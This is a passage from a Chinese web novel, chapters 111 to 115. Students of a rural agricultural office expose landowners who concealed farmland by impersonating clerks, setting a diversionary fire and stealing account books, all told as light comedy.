“俺婆娘想着,要不是有小贵人,咱们一家都不知道这日子要怎么过。这才让我拿两个包子,谢谢小贵人!” 其余几个农户一听他说话,也都跟了上来,有人当即接着开口: “哎!我这有几块饼,也是刚烙好的,小贵人别嫌弃!” “我这也有!不是什么好东西,就是家里的母鸡下的些蛋!” “我也是!” …… 周盈看着这帮面容憨厚老实的农户,这会儿眼巴巴拿出,自己觉得最值钱,最舍不得吃的东西,不免得,心里也是感慨万分。 见他们目光中带着些诚恳,周盈笑了笑,伸手拿了个包子,随后道:“我要这一个就够了,别的也吃不下。” “这、这……咱们家里都还有!小贵人别担心!” 周盈摇头,也不再说什么,只是低头咬了一口,剁碎的肉已烹香,入口间,汁水便爆在了嘴里头,夹杂着劲道的面皮,咀嚼之间,只觉五味陈杂,妙不可言。 沈二柱看着,渐渐的也就不说话了。 旁的几个农户见着,神色也有些动容。 “味道很好,我很喜欢。” “哎!”大家伙闻言,都笑了出来。 山阴县,远孙家田产地界。 推着小推车,走过田头的几个农户 ,这会儿早已养好了伤。孙念远一行人,下手那是真往死了下手的! 好在是有“小青天”们帮他们出了头,不但把可恶的孙念远收拾了,还把那些田全都分给了他们,用来种植番薯玉米。 陈老伯等人自发组织了玉米番薯幼苗培养小队,把一颗颗的番薯、玉米,催出了嫩芽。 眼看着四月份,天气总算是回暖,芽也就能下地了! “老陈!劝农司来人了,先过来一下!”扯着嗓子吼的大汉,朝着田头那道有些佝偻身子的老农喊了一声。 威威抬起身,陈老伯眯着眼看过去,老花眼,没办法! “哎!好嘞,这就来!” 草长莺飞间,阳光照的整个地都金灿灿的,也照的走在田间小路上的几个学生,影子小小的。 为首的看了一圈:“今儿有没有什么情况啊?咱们这粮吃了多少?剩多少?” “苗出了多少株?种下去了多少?还有多少块田没种?” 他一个个问,陈老伯听着,也就一个个说。 其他的几个学生,巡逻了一番,也没看到什么不妥当的情况,叉着腰,叹了口气。 “这活得干到什么时候?” “……不知道,大概还得等秋收后吧。” 几个人闻言,霎时间,面如菜色。 这还没说些什么呢,就听到不远处有人大喊:“快快快!出事了!你们几个还在这瞎逛呢,赶紧回劝农司!” 啊? 听到这话的学生们也都是愣了一下,眼看着那农户大汉嗓子一喊,紧接着就撒丫子狂奔向别的地方。 几个人你看我,我看你的。 这……啥情况啊? 劝农司内,这会儿刚听了消息,匆匆赶回的周盈,脸色沉了沉,朝着身旁农户询问:“到底怎么回事?不是叫学生们去盯着进度,查着账目吗?” 那大汉黝黑的脸上也有些焦急,话都有些说不灵清:“这、这我也不知道!就是高员外家……那、那不肯,我们也没办法!” 周盈闻言,深吸一口气,叹了一声,转头朝着另一个赶回来的师兄开口道:“赵师兄,你跟了过去,说说看,事情是怎么一回事?” 赵瑜眨了眨眼睛,回过神后,咽了咽口水开口:“是这样的小师弟,咱们几个,不是被分配到了高志远家里吗?” “前几天也好好的,该翻的田也都翻了,该借的粮也都借了。” “结果今天一去,查了一看,发现报上来的田,总额有六百亩左右,但实际上还多出五百亩没有报。” “都是今天去了的同窗们,正好撞见了上门诉苦的佃农们,这才发现的。” 说到这,赵瑜语气也有些不满:“那高志远,听咱们是劝农司派来的,直接脸色一变,说要给我们几个分好处的……那点东西,我缺吗?” 他嘀咕了一句,觉得高志远人挺蠢的,一点粮一点银子,就想打发他们一帮人? 可笑至极! “给了多少两?” “一百两,怎么了?” 周盈脸色有些古怪,想了想,再转头看了一眼憨厚老实的几个农户。 叹了口气,闻言皱起眉来,脚步一停,看向他:“你们说你们是劝农司过去查账的吗?” 112.第 112 章 一提起这事情,赵瑜倒是来火了:“说了!那混账东西,看咱们都是学生,说是让管家招待,但车轱辘话来回的,就是不让咱们进账房!我看就是有鬼!” “其他人呢?” “还在高府呢,我回来报信。” 说到这赵瑜也有些着急了:“小师弟,这事情也不能等,咱们现在要怎么做呢?” 周盈继续往前走,听了他这话,提着衣摆跨进门槛,随后语气平静的开口道:“等等,等人都回来,再谈这事。” “……?” 赵瑜迟疑了一会儿,看着眼前的背影走进屋里头,不免的也有些摸不着头脑。 不多时,潘岳私塾的一群学生,都陆陆续续的赶了回来。有的脚上还带着泥,眼瞅着应是刚从田里被揪了出来的。 “周师弟,发生什么事情了?” “我这田刚查到一半呢,听到动静就赶紧回来了。” “是啊,听说是出事情了?哪家的事情?” 一群人叽叽喳喳,脸上全是好奇,也有不少的,目光看向了赵瑜。 “衡之,你是最先赶回来的,难不成……是你们那出了事情?” 赵瑜闻言,点了点头:“是那高志远,在田产上动了点手脚,咱们的人去查的时候,刚好撞见了。” “啊!?” “这…查出了多少?” “五百多亩。” 这话一出口,屋内的一群人,有茫然的,有脸色一变的,也有皱眉深思的。 周盈看着这群人都回来了,这才放下杯子。屋子虽然简陋,但椅子一搬,潘岳私塾二十二个人,也就勉强能围着坐在一起。 “周师弟把咱们都喊回来,难不成是要我们一起查这件事?”一个生的浓眉大眼的学生,好奇开口。 听他这话,周盈莞尔:“殷师兄说对了,这事情……说大不大,说小不小。” “前有孙念远刚出事,这高志远……就这样坐不住了,我看,他是不撞南墙心不死!” 说到这,周盈冷哼一声:“既如此,咱们商量商量,怎么把这件事情办了,把高志远的那些田,都分给名下的佃农。” 一群师兄都看呆了。 呃……不是,周师弟,你这一开口就要抄家,会不会太凶残了一些? 这还是他们认知中,软萌无害的小师弟吗? 周盈看着一帮人,带着一种诡异目光看着他,轻咳一声,身子往前倾了一些,语气有些忽悠道:“诸位师兄,这件事情,我一个人是办不成的!此事只怕需要借尔等之力。” 赵瑜闻言,想了想道:“周师弟有事说就是了,咱们都是同窗,既然关乎国策推行,有问题总归是要解决的。” “这话说得对,咱们虽说……嘴里烦是烦,但这些天在田里来回的走,那些农户的苦,也是看在眼里的。” “是啊……我这都还下过地呢。” 一群人闻言,噗嗤一笑。 周盈颔首:“我先不说,大家有什么想法?” 这话一出来,一帮人倒是先愣了一下,面面相觑间,没人开口。这不是,周师弟说了,咱们就干吗? 怎么还要他们先提想法的? 很显然,一群师兄都被问住了,因为没想到还得自己出主意的。 但周盈依旧没说话,笑眯眯的,拿起杯子喝了口水。 见状,赵瑜迟疑:“这件事,我看应该禀报官府衙门?” 他一起了这个口子,一群人闻言,皱起眉之际,反倒是如开了闸一般。 “衡之这法子虽妥当,但咱们没有证据,这怎么让官府衙门抓人?” “欸?还真是……子远想的倒是周全。” “那你们说,这要怎么办?” 有人皱眉摸着下巴:“实在不行…咱们施个苦肉计!跟那群打手闹起来,等场面失控了,我们人多,冲进去!把那些帐抢出来!” “……”这是呆滞的一群人。 “噗!”这是没忍住,一口喷出来的周盈。 “你疯了?这多冒险!” “啊?那你有什么法子?” “要不……我们假装被收买?拿了银子再去告发?” “……”这一听更不靠谱了!万一高志远直接一个反咬,说你执法钓鱼,那不全完了? 直接打草惊蛇了! 周盈擦了擦嘴角,额头全是黑线,咽了咽嘴里的茶水,适时的插嘴开口道:“师兄们的这份心是好的,但遇到事情,咱们也不能太想当然。” 赵瑜看向他,神情有些好奇:“周师弟,你神机妙算,你应该是有法子的。” 周盈笑了笑,反倒是说:“我就提一件事情,咱们要怎么不在打草惊蛇的前提下,把账本拿到手,把佃农保护好,等官府衙门的人来,人证物证俱在,这事情就能解决。” “……”学生们都沉默了。 殷汝麒低头思忖之间,似乎是想到了什么,迟疑着,开口道:“事情这么多,咱们不可能一群人乌泱泱赶过去,我看,倒不如兵分几路。” “哦?天之这是想到了什么法子?” “这样……我觉得,‘苦肉计’倒也不失为一个法子。” “……”收回上一句话。 殷汝麒见状,“哎”了一声,颇有些不满:“你们听我把话说完啊!我的意思是,咱们都是学生,肯定是不好明目张胆的明抢。” “嗯,对啊,然后呢?” 殷汝麒想了想,看向周盈:“周师弟,咱们能不能借点人脉?” “可以。” “这就好办了。这样……高志远现在心里慌得不行,他的那群同伙难道就不慌了?” 不少人听到这话,一时间都陷入了沉思。也有人迟疑道:“天之你是想把事情搅浑了?让他们狗咬狗一嘴毛?” “是,这样一来,帐对不上,那就直接真相大白了。” 一群人闻言,恍然大悟。 但紧接着,赵瑜就察觉不妥了:“但是这事情,咱们也得先让这帮人咬起来啊!” “是,这便要咱们这里的人,用些‘苦肉计’了!” 周盈在一旁听着,心里思忖了一番,这思路倒还挺对。看来他的这帮师兄们,脑子也不笨。 孺子可教也。 但大家伙也不 知道他心里想的,这会儿都沉浸在了头脑风暴中。 殷汝麒继续道:“咱们可以装成高志远的人,打点那些胥吏,就说,高志远已经把田全都如实上报了,就等他们了!” “啊?”有人没反应过来。 赵瑜“啧”了一声:“天之的意思是,既然这帮人打点过胥吏,自然在官府衙门都是有眼线的!我们这样一说,等风声走漏了,那帮人着急被查出来,必然会登门拜访高志远。” “是!等到时候,咱们就召集一帮佃农,一群学生,一起去高府门口堵着,讨要个说法。” “最好起点冲突,挨点打,惨一点!再有人去官府衙门,赶紧报案,抓个正着!” 嘿! 这法子……损! 周盈听着都有些乐了,不过想想看,倒还确实能操作。高志远这帮人什么德行,他当日在县衙看的是清楚明白的。 但有一条,还是要注意点。 “你们怎么肯定,这帮人会带着账目上门?” 呃……坏了!这是个巨大漏洞! 一群人顿时都陷入了沉思,但不过一会儿,有人眼睛一亮,直接开口道:“这不是问题,咱们就直接假扮成胥吏,去通风报信,就说:官府查账呢。这样一来,为了串通,他们肯定会带着账册上门找高志远。” 众人“哦——”一声。 殷汝麒拍手,兴奋道:“这样就妥当了!” “周师弟怎么看?” 听这帮人谈论了好一会儿,才想出这么个法子,周盈一时间也是哭笑不得。 也行吧,起码……没什么明显的漏洞。 “我看成,这事情就这么办吧。” 一听这话,潘岳私塾一帮人脸色也有些兴奋了,连周师弟都觉得没问题!那这事情肯定没问题! “这样,咱们兵分几路,一队去看着那些佃农,一队守在高志远门口,找个演技好点的扮演胥吏,再派几个人去县衙报官!” 一帮人就开始嘀嘀咕咕起来,说到兴头上,脸上那表情,简直是神采飞扬! 刚进屋的郭嘉,看到这么多人围在屋里,不免皱眉好奇:“干嘛呢?” 周盈无奈摇头:“高志远那里出了点问题,他还是不老实,我就想着,让师兄们想个法子,干脆把人办了。” “……” 郭嘉瞄了一眼一群兴奋的眉飞色舞的人,这会儿应该是谈到了高兴的地方,连他进来都没注意到。 “行吧…这事情要我看着吗?” “不用,小事情而已,高志远蹦跶不起来,也算是拿来,给师兄们练练手。这事情办成了,心里多少也有成就感,也就不觉得,在劝农司干活都是苦差事了。” 郭嘉点了点头,也就没再说什么。 这会儿功夫,高府门外,盯梢的几个学生,眼看着太阳都快下山了!怎么那赵瑜,都还没赶来? 有人迟疑着,开口说了一句:“他不会是忘了咱们吧?” “……啊?” 三个人脸上,一时间,呆滞了片刻。 第二天,一大早。 高府门外,鬼鬼祟祟来了几个人。 113.第 113 章 他们举止仪态如路过一般,但眼神却时不时地往高府大门口瞄过去。见凶神恶煞的守门仆人目露凶光,狠狠一瞪,几个人顿如鸟兽散开。 一侧,较为隐蔽的拐角小巷,三五个人围集在这里。围守的赵瑜,见状脸上神色也不太妙:“高志远现在肯定是有了防备!把守比昨天都严了不少。” 眼看着几个大汉,各个膀肥腰圆,几个学生这会儿也不免地心里发怵。 “天之他们呢?” “这会儿应该已经去张代家里,借衣服了吧?” 张岱是官宦世家,借他爹人脉,拿套胥吏的衣服,自然是轻而易举的。 一帮学生们昨天下午商量再三,敲下方案之后,今天就开始马不停蹄的行动起来了。 至于周盈? 田头这会儿还在劝农司里审查各项的田产问题,虽说有孙念远案的威慑,但人嘛,总归是有侥幸心理的。 高志远不是个例。 屋内三五人随着账目翻阅,书声一片。周盈揉了揉额头,皱着眉,看着眼前摊开的数十本账册。 查是查出了点问题,但和高志远私藏的那五百亩田来说,也算不得什么大问题。 “小师弟,我看其他几个,或多或少,好像也私藏了点田产,多的一二百亩,少的则也有个几十亩的,要不要也……” 一旁拿着笔,皱眉说话的学生抬起头看向他。 周盈想了想,反倒是没马上开口。 “奉孝呢?” “一早就出去了,不知点去干嘛了。” 周盈叹了口气:“先等等吧,我看这些事情,一个个办太费劲。” 几个人面面相觑的,也就没多问什么。 赵员外家门口,一辆马车徐徐行过,路口的几个学生,这会儿已换完着装,穿着胥吏服饰的殷汝麒,心里也开始打起了鼓来。 “等会,我先上去,你们看情况。说的话,咱们昨天也已经都准备好了,别忘了。” “行!天之你就上吧,咱们在后面跟着!” 也就在他们嘀嘀咕咕的时候,停在一旁的马车,被人从里面掀起了窗帘。 郭奉孝一只手靠在窗上,看着三四个人乔装打扮后的模样,此时此刻陷入了一片沉思。 三四个胥吏,一起去通风报信。 这……合理吗? 你们觉得,这符合逻辑吗? 眼看着他们脸上那副志在必得的劲儿,郭嘉感觉自己的智商,受到了巨大的质疑。 他为什么出现在这,这事情说来也简单,也就是上午吧,看着这群师兄们兴冲冲的离开劝农司,那架势仿佛是偷溜着去干什么坏事。 郭嘉看着都有些心惊肉跳的,总觉得把这事情交给这帮人,有点危险。 毕竟,师兄们心肠好归好,但一天到晚都在私塾里头读书,哪里知道外头的人心险恶呢? 简单来说就是,读书容易把人读傻了。 即便是在劝农司里实践了一段时间,那也是在张智林、高烨,以及他们一帮人的庇护之下做事,自然是摸不到比较复杂难缠的事情的。 可这事情不一样,既然要把高志远抓个正着,那就得出其不意。 郭嘉思来想去都觉得不太靠谱,再一想早上也没什么事,干脆就后脚偷偷跟了出来。 嗯……虽说,小郭狐狸总骂周盈是大卷王,自己爱偷懒,但碰上正事的时候,还是很靠谱的! 那厢,殷汝麒整顿了一下衣服,眼看赵员外府邸门口出来几个人,看准了时机,这就打算闪亮登场! 结果…… “等会儿。” 嗯? 众人脚步一顿,紧接着背后一阵毛骨悚然,僵在了原地。 什么情况? 被发现了? 殷汝麒闻言,眼神飘忽间,心里开始疯狂组织语言。 “啧…我说,几位师兄,你们这么劳师动众,打算干嘛去?” 郭嘉给他们逗乐了,抱着胸不急不缓的走到他们面前。 一看是他,殷汝麒等人顿时大松一口气,拍着胸口,虚惊一场啊! 殷汝麒没好气:“郭师弟!你这神出鬼没的,吓死人了!” “就是!咱们这不是在这准备好,打算去赵员外府上,引蛇出洞吗?” 郭嘉一听这话,脸色变得有些古怪,上下左右瞄了几人一眼,想了想,开口道:“你们……三个,都去?” “啊?对啊。” “……” “怎么?有哪不对吗?” 郭嘉扶额:“我觉得这事情,想法是好的,但是得……做的再细点。” 他倒也没有直接开口反驳,毕竟这事情是拿来锻炼这帮师兄的,作为旁观者自然也不好直接出手。 再说了,好不容易把师兄们的积极性调动起来,一个反驳直接打回去,那对人的打击也是很大的。 一听他这话,殷汝麒几个人神情一变,显然也在思考什么,不过多时,一拍手。 “我知道了,郭师弟的意思是说,咱们人太多,直接上门肯定会让赵员外心生怀疑!” “嗯,对了。” “那…那咱们这些衣服,不是白借了?” “欸?也不是,高志远的团伙又不是只有这一个,其余几个可以去别的府上通风报信,这样一来,成事的胜算反而更大!” 几个人一听这话,顿时恍然大悟!哎呀,差点犯了个大错了! “郭师弟,还得是你,要不是你这一提,咱们几个就这样兴冲冲的赶上去,只怕还真要出问题了!” “小事,现在时间不早了,几位师兄,快点儿行动吧。” 殷汝麒等人点头,商讨了一番谁去哪个府邸,这不过一会儿的功夫就散开了。 “郭师弟!我上了!” “去吧去吧!”郭嘉挥手,眼看着殷汝麒那傻得可爱的单纯眼神里,透露出些许的天真愚蠢。 心里深叹一口气。 算了……有些事情还是他来吧。 眼看着殷汝麒三步一回首,郭奉孝呵呵一笑。 转回身,原先脸上带着的笑意便烟消云散,思忖之间,郭嘉上了马车。 “走,去一趟张府。” 外头的马夫一听这话,手上马鞭一甩,马车便徐徐远去。 且说回殷汝麒这儿,他跟着下人走进赵府,心里也是打起鼓来。先前盘算的再好,如今上了阵,不免的也有些手心发汗! 冷静,冷静! 一边给自己打气,一边的,想着等会儿要说 的台词。 穿过了走廊、大堂。 眼看着门口到了。 殷汝麒低着头,跨过门槛。 “老爷,人带到了。” “嗯。” 赵员外本在和自己的第十三房姨太太调情,你侬我侬的,正在兴头上,结果外头一道消息,直接把他的兴致打断了。 这会儿,脸色能好到哪里去? 一想到前些天发生的那些事情,赵员外心里啊,那心肝疼的唷!发抖! 欸! 那六百多亩的田,都是他的命根子啊! 这帮畜生! 竟要他全拿出来,改种番薯和玉米! 这是要断了他的根了! 想到这,赵员外不免的,冷哼了一声! 好在是,使了些小手段,到底保住了点儿,这才让他心里头舒坦几分,总归是……有比没有强。 “嗯?你不在衙役办差事,来我这做什么?”瞥了一眼面前低头站着的胥吏,赵员外打量了片刻,也没发现什么不妥,便低头抿了口茶水。 那胥吏,似乎是出神了一般,听到这话(其实是紧张的压根没听到),竟然是呆愣了好一会儿。 赵员外皱起眉,眼见着,如今他落魄了!连一个胥吏都敢给他使眼色了,顿时发起火来! “砰——!”清脆声响。 杯子放回桌上。 赵员外眯起眼:“怎么?敢给我脸色看了?你们头是怎么教你们的?!” “啊、啊……!小小的,小的是在想事情,赵员外,我……我这遵了老大的旨,听到了些消息,这才过来通风报信!” 说话说的有些磕磕绊绊。 这胥吏,懂不懂规矩! 赵员外深吸一口气:“什么事情?快点儿说!” 听他语气这般差,殷汝麒心里对他可谓是策马奔腾,鸟语花香了!到底是书生,走到哪里遇到的人,都是知书达理的,这还是第一次面对如此蛮横的乡绅。 自然免不了有些受气的。 殷汝麒想着正事,压下心里的怒火道:“是……这两天,县衙里,又要开始查账了,说是为了校对一下,改种番薯玉米的良田,数目是否对的上。” “头听闻了,这便差遣小的,过来通风报信。” 一听这话,赵员外目光一冷,随即猛坐直身体,脸色变得有些阴翳古怪了起来。 “哦?你们头…还说了什么?” “呃…还说了,劝农司那帮小子,查账归查账,但只要把事情串通好,他那里压下去,自然就捅不出篓子。” 赵员外闻言,点了点头:“我知道了,你可以离开了。” 殷汝麒有些诧异,下意识便抬起头看了一眼,只见赵员外脸色如常,拿着杯子,悠哉悠哉,轻抿了口茶。 见状,眯起眼,“啧”了一声:“看什么?还不滚?” “……”*@%!@*!!(话太脏) “……是。” 走出门,殷汝麒心里思忖,刚自己说错话了?还是什么情况?怎不见赵员外半点紧张? 嘶…… 也就在他刚走出门的刹那,赵员外看着背影消失,冷笑一声,目光之间,透露出几分鄙视和嘲笑。 演技真差! 114.第 114 章 不过随即一想,如今都有人敢明面上演到他脸前了,说不准……倒还真的是,账目上出了问题? 一想到这,赵员外猛皱起眉,坐直了一些身子。 是劝农司那帮人?还是高烨?亦或者是张智林? 思来想去,他总觉得有些不妥当。虽说几个人现在是串通好了,也收买了胥吏,但若真要追查起来,如今风头之上,只怕还真容易出问题! 这么想着,赵员外这会儿也是坐不住了,站起身朝外道:“来人,备轿!去一趟高府!” 这会儿,刚出了赵府的殷汝麒,满心带着疑问和不解,一面反思自己刚才的表现,一面又忐忑计划到底有没有成功? 心里纠结再三,走到一旁的小巷口,蹲点看着府门外有没有情况发生。 结果,没过了一会儿,就看到一台小轿子晃晃悠悠出了门,那赵员外,这会儿脸色焦急万分,左右看了一圈,掀起帘子直接坐了进去。 随后一行人离开。 殷汝麒攥紧了拳头,脸上眉飞色舞! “好!成功了!” 欸?不对……怎么去的只有人呢? 账呢?! 殷汝麒眼看着人越走越远,皱起眉来,什么情况?怎么光是人走了,没带上账目? 随后,他似乎是想到了什么,瞪大眼睛,脸色猛地一变:“遭咯!这不会是看出来什么了吧?” 也就在他心里一个咯噔的时候,其余的两个地方,杨府、陈府,刚出来的两个学生,这会儿心跳的都跟打鼓似的。 眼看着人坐上轿子,匆匆忙忙离开,却都没带上账,一时间也都是摸不着头脑的。 “到底是……成了,还是没成?” 也就在三人各怀心思的时候,另一边的高府门外,赵瑜一行人,眼看着天都临近了中午,却还没有一个人登门。 心里也不免的有些疑惑起来。 “天之他们,到底成没成啊?” “不知道啊,说好的,晌午之前扮成这件事情,但这会儿都快中午了……难不成是失败了?” 赵瑜闻言也是皱起眉头。 就在几个人嘀嘀咕咕的时候,一侧拐角处,几道人影抬着一顶轿子,正晃晃悠悠朝这边走来。 “欸!来了,来了!!”几个人顿时兴奋。 只见那顶轿子缓缓停在了高府门口之后,掀起帘子走出来的赵员外,皱着眉,看了一圈周围,他似乎是在观察附近是否有人把守。 学什么躲在小巷子背后,大气都不敢喘,生怕被发现了。 眼见着人影走进府邸,赵瑜却皱起眉头来:“不对啊,怎么光来人了?账呢?” “欸?” 几个人见状,也都瞪大眼睛。 对哦!没见着账。 眼见着不过一会儿,杨、陈二人都陆续赶来,但没有一个拿着账册,这会儿一帮人也急了。 “天之他们在搞什么?” “不是说好了,让这伙人带着账目上门吗?” “现在怎么办?咱们还要报官抓吗?” “抓?怎么抓?账都没有,抓了有什么用?” 几个人你一言我一句,都卡在这上头了,有人走来走去,一甩袖道:“我看,干脆直接闯进去!” “……” 赵瑜皱着眉,没有理会这帮人说的混账话,迟疑了片刻,摸着下巴道:“会不会……是天之他们那儿,露馅了?” “啊?” “你们想,如果咱们,听到官府查账的消息,会怎么想?” “自然是看看自己的账有没有做对啊。” “这就对了!” 几个人没理解。 赵瑜继续道:“我的意思是,不论事情如何,天之他们可能穿帮,也可能没穿帮,但依赵员外这批人的警惕来说,不管有没有穿帮,一定是心里有了警惕,这一担心,自然是会找上高志远。” 他这话一说,就有人明白过来了,脸上神情一变:“那这样,咱们的计划岂不是失败了?” “欸……现在要怎么办?” 赵瑜闻言,却也是脸色有些阴沉,等这帮人串通好了,把账册一销毁,那事情可就彻底完蛋了。 想到这,他看了一眼高府,随后转头朝着几人道:“咱们不能干等着,既然现在这批人都来了高府,咱们去他们家!” “干嘛去?” 赵瑜挑眉一笑:“偷、账、本!” 几个人眨眨眼睛:“这……不合适吧?君子不做偷窃之事,咱们还是……再商量商量?” “哎!有什么不合适的,都什么时候了!还管那些有的没的!”赵瑜说着话,直接拽着两人。 “走!再晚就来不及了!” “等、等!我自己走啊!” 此时此刻。 紧赶慢赶,赶到张府的郭奉孝,坐在椅子上,等着张岱。 不过多时,就听到一道嘹亮声音响起:“郭师弟!大稀客啊,今天怎么有空来找我?” 嗯,正是张岱。 他这会儿衣袖上带了些泥渍,脸上都有些灰头土脸的,显然是刚从田里被人挖出来。 郭嘉一见,不免瞪大眼睛,这还是以前那个风流纨绔的张岱吗? “呃……张师兄你这是?” “哦?害……我这不是着急盯着国策的事情吗?现在天气回暖了,赶紧着把苗种下去,活太多忙不过来,我在家闲着也是闲着,就干脆帮帮忙!” 张岱不觉有什么,反正怎么都是在家待着,他又是个闲不住的,现在没有一群狐朋狗友围着出去玩,那干脆找点别的事情干呗。 “先不说我,你今天来,不是说有事情吗?” 提起这个,郭嘉倒是反应过来了。 “是,你不提我忘了。是这样……”他把高志远一帮人干的那点事情提了一遍,顺道的,把潘岳私塾一帮学生计划做的事情,也都说了一遍。 说到几个人乔装打扮成胥吏,打算一起去赵府通报消息的时候。 张岱“噗——”一声。 嘴里一口茶,没忍住喷了出来。 瞪大了眼睛,咳嗽着:“咳、咳咳!天之……他们可真,有想法。” 太有想法了,这事生怕穿帮不了吗! 看吧,连张岱这样的傻白甜,听着都觉得不靠谱,可想而知,潘岳私塾的一帮学生们,是有多天真单纯了。 郭嘉听他这么一说,也有些忍俊不禁:“心呢,是好的,咱们也不能多说什么,我叫他们分头行事了。” “这事情,是汝瑛想着,拿给师兄们练练手的,我们也就不要太过插手了,但该善后的,还是得抓把手。” 张岱忙了一上午,这会儿肚子也实在是饿了,听着他说的,一边拿起点心塞进嘴里咀嚼。 “行吧,有什么要我帮忙的吗?” “嗯,以我的推测,这会…高志远和他的那帮同伙,应该已经到高府串供,商议接下来怎么办了。” “张师兄,你去县衙,直接带人,把高府围住,别让一个人逃出来。” 张岱皱眉:“直接抓人了吗?” 郭嘉语气不变:“这么小的事情,还需要那么弯弯绕绕的做什么?现在就看,这帮师兄们,能怎么……” 说到这,他语气也有些忍俊不禁了,似乎是想到什么:“施展计谋,把这帮人的账,偷出来。” “行,那就这么说吧。” 两人商量完,也就各自散开。 赵府外头,几个打手来回巡视,目露凶光之间,颇有几分狰狞凶态。 另一处偏矮的围墙外,只听几道吃力的声音响起,随后,晃晃悠悠的脑袋,就这么探了出来。 赵瑜感觉到下头来回晃动的劲儿,吓得他冷汗直冒:“稳点!等会摔下去了!” “知道了!你快点,真重!” 赵瑜闻言,手扒在围墙之上,憋的那是脸颊通红,努力一使劲儿,总算是把半个身子探进了围墙里头,看了一圈这犄角旮旯的地方,应是没什么下人会过来。 手一翻,腿一跨。 喘了口气,低头朝着下面两人挥挥手,两人便点头,竖起一个大拇指:“靠你了!” 眼看着赵瑜一个翻身,猛跳进去,噗通巨响间,只听:“啊!” 墙外头的两个人不免的面面相觑,一时间紧张起来:“怎么了?衡之?没事吧?” “嘶……”站起来的赵瑜,转头看了一眼,刚硌得他生疼的地方。 结果一看就发现,不知道哪个缺德的,把梯子丢在这!一角突出,差点把他老腰给闪咯! “没事,就是不知道哪个王八蛋,丢了个梯子在这里,你们先走吧,快点去县衙报官!” “……”外头两人一听这话,怎么觉得有点不对劲呢? 不是? 哪来的梯子? 但此时的赵瑜,满心都是潜入赵府,偷拿账本的任务,对这突兀出现的梯子,半点都没放在心上。 这犄角旮旯的地方,大概是用来堆放些杂物的,赵瑜脚步一转,走出了角落。 账房在哪? 赵瑜不知道,几个学生也不知道。 但… 此时的殷汝麒,却知道。 只见赵府一角,鬼鬼祟祟的一道人影,“唰”一下窜到假山底下。 随后,火星子刺啦一响。 劈里啪啦! 紧接着。 火光冲天间,赵府内,几个守在门口的家丁顿时一乱。 “着火了!走水了!” “快、快!救火!” 115.第 115 章 听到这动静,原先把守着账房的两个仆人,这会儿也是你看我,我看你的。 闻言,便也都小跑着往外赶去。 假山后头探出头的殷汝麒,嘴角一翘,一个扭身,见这会儿,赵府内乱成一团,脚上猛窜,影子一闪,打开门,随后悄无声息关上。 转身一看,便见黑黢黢的屋子里头,左右成列的账本堆积如山。 殷汝麒见状不免一愣。 随后上前一步,开始翻找起关于田产的账本,他拿起一本扫了一眼,发现不是就随手一丢。 翻阅了五六本也没什么头绪。 但却反找出了,收买胥吏的支出银两数目! 手拿着账本,殷汝麒眉头一皱,看着看着只觉心头一跳,想了想,合上,揣进怀里。 紧接着,刚要继续翻找。 耳廓一动,听见外头脚步声逐渐逼近。他手上动作一停,呼吸都几近停滞。 转头看过去,便见门外影子晃晃悠悠走近,不多时,门……吱呀一声,推开。 脚步,从门槛跨了进来。 随后那道影子,转身,关门。 赵瑜长舒一口气。 想不到,赵府竟走水了! 这真是天助我也! 他心里得意的要命,刚一转身,就听一道破空声音,“呼啦”一声,猛向他砸了过来! “咣当!” “啊!” “劈里啪啦!” “疼、疼!!住手!自己人!” “我信你个鬼!给爷死!” 黑漆漆的账房内,倒在地上,纠缠殴打的两道身影,滚进了一侧的账堆。 随后,殷汝麒,手抄起一堆账本,猛向地上的“赵府家丁”狠砸了过去! “啊——!” 惨叫声,激烈且悲戚。 屋门外,脚步匆匆。 一群人围在门口,听到里头那一声又一声的嚎声,不免的,嘴角一抽。 “来人,把门踢开!” 张岱无语了,真是一帮活宝。 几个官兵上前,抬脚“砰——!” 巨响下,屋外的光直接照了进去。紧接着,站在门口的一群人,都看到了屋里的混乱场面。 殷汝麒手上举着一侧烛台,正要砸下去,被这阳光刺的一时间睁不开眼睛。 但见到张岱逆光站在门口的影子,顿时一喜:“宗子?!” “快!我抓了个小贼!” “……”张岱,脸色有些古怪,看了他一眼,再往下,看着那个被揍的鼻青脸肿的倒霉蛋。 赵瑜被压在地上,头发乱了,衣服也乱了,鼻青脸肿,手上拿着账本,“哇——”一声,堪称惨烈:“殷天之!你公报私仇!” “啊?!”骑在他身上的殷汝麒闻言,脸色勃然大变,随后连滚带爬的往后一挪。 躺在地上的赵瑜越想越气,手上账本,猛朝着殷汝麒砸过去:“你混蛋!” 眼看两个人又要打起来,张岱扶额:“快,把他们拉开!把这里的账收拾收拾,田产的都找出来。” 身后几个人闻言,强忍着笑,面无表情的走进去。 “噗…” “咳!” 且说回高府,这会儿已被张智林带着官兵围住,府内的几个人,这会儿脸色煞白煞白的,一时间话都吓的说不出来了! “高志远!你什么意思?出卖我们?”杨员外一拍桌子,直接站了起来,指着高志远鼻子就开始骂。 “咱们都是一条船上的蚂蚱!你把咱们卖出去,你以为你跑得掉!” “我?”高志远都蒙了,怎么还变成他反水了呢?他干嘛了? “哼!你以为,你把账册给官府衙门,他们就会放过你?你以为你能戴罪立功?!”一旁,冷哼一声的赵员外,脸色也难看的要命。 此时几个人心思各异,但都不约而同的,统一了口径,一致认为,都是高志远搞出的这场戏吗! 那假扮胥吏的人,演技这么差!就是故意让他们看出来不对劲!要不然,怎么把他们引到这里来? 现在好了!张智林直接带着一伙人,来了个瓮中捉鳖了! 他们这会儿,真逃不掉了! 高志远眨了眨眼睛,有些不可置信。 “我……?出卖你们?老杨,你这话说的,什么意思?” “什么意思?你还装!”陈员外听他这话说出口,心里那股气,噌噌噌的往上冒! 脸上勃然大怒,手上杯子“唰”一下,猛地朝着高志远一砸!把高志远吓得直接蹦了起来。 “你还敢问!你找人扮成胥吏!去咱们那儿故意使坏!现在我们几个都进了你的府邸,直接被那张智林围了个正着!这还不是你想出来的?!” “……?” 高志远强忍着怒火,听着几人你一言我一句的争执,随后胸膛剧烈起伏,脑子一转间,哪里还不明白事情是怎么回事! 只听“砰——!”一声巨响。 赵员外等几个人猛地一颤,顿时闭上了嘴巴,看向了高志远。 对方冷笑,脸皮一抽间,眼里闪过一丝狠:“咱们都被耍了!被那帮学生们耍了!” 三人面面相觑,都没开口。 高志远深呼吸一口气,皱眉看着这三个蠢货,一时间,只觉疲倦席卷。 “你们以为,是我找人扮的胥吏?我为什么要这么干?啊?!” 